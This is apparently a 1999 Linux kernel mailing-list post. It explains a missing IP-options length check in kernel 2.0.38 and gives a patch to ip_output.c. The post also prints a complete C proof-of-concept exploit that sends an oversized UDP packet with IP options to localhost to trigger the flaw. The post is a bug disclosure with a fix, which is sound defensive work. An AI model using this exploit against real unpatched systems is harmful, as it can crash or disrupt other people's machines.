On Mon, 13 Dec 1999, Jason Mills wrote: >heres a simple patch for the -s stuff just using the same method as with >-l :) Unfortunately fixing ping won't help because you can exploit it using UDP too :(. BTW, the ping in 6.2 forbid me to use a size of the packet >= 65468 even as root. So I had to hack and recompile ping to reproduce. Actually the bug is that the IP layer is checking that the iphdr+payload is < 0xffff but it's _not_ checking that iphdr+optsize+payload is < 0xffff. So as far as there are no additional ip options in the packets all is fine. This is my fix against 2.0.38: diff -urN 2.0.38/net/ipv4/ip_output.c 2.0.38-ping-R/net/ipv4/ip_output.c --- 2.0.38/net/ipv4/ip_output.c Thu Jun 18 23:48:22 1998 +++ 2.0.38-ping-R/net/ipv4/ip_output.c Tue Dec 14 23:02:43 1999 @@ -703,7 +703,13 @@ if (!sk->ip_hdrincl) { length += sizeof(struct iphdr); - if(opt) length += opt->optlen; + if(opt) + { + /* make sure to not exceed the max packet size */ + if (0xffff-length < opt->optlen) + return -EMSGSIZE; + length += opt->optlen; + } } if(length <= dev->mtu && !MULTICAST(daddr) && daddr!=0xFFFFFFFF && daddr!=dev->pa_brdaddr) Downloadable also from: ftp://ftp.*.kernel.org/pub/linux/kernel/people/andrea/patches/v2.0/2.0.38/ip-opt-1.gz And this is my exploit I wrote to check the fix: /* Exploit option length missing checks in Linux-2.0.38 Andrea Arcangeli <andreaat_private> */ #include <sys/socket.h> #include <netinet/in.h> #include <netinet/udp.h> #include <netinet/ip.h> main() { int sk; struct sockaddr_in sin; struct hostent * hostent; #define PAYLOAD_SIZE (0xffff-sizeof(struct udphdr)-sizeof(struct iphdr)) #define OPT_SIZE 1 char payload[PAYLOAD_SIZE]; sk = socket(AF_INET, SOCK_DGRAM, 0); if (sk < 0) perror("socket"), exit(1); if (setsockopt(sk, SOL_IP, IP_OPTIONS, payload, OPT_SIZE) < 0) perror("setsockopt"), exit(1); bzero((char *)&sin, sizeof(sin)); sin.sin_port = htons(0); sin.sin_family = AF_INET; sin.sin_addr.s_addr = htonl(2130706433); if (connect(sk, (struct sockaddr *) &sin, sizeof(sin)) < 0) perror("connect"), exit(1); if (write(sk, payload, PAYLOAD_SIZE) < 0) perror("write"), exit(1); } Andrea
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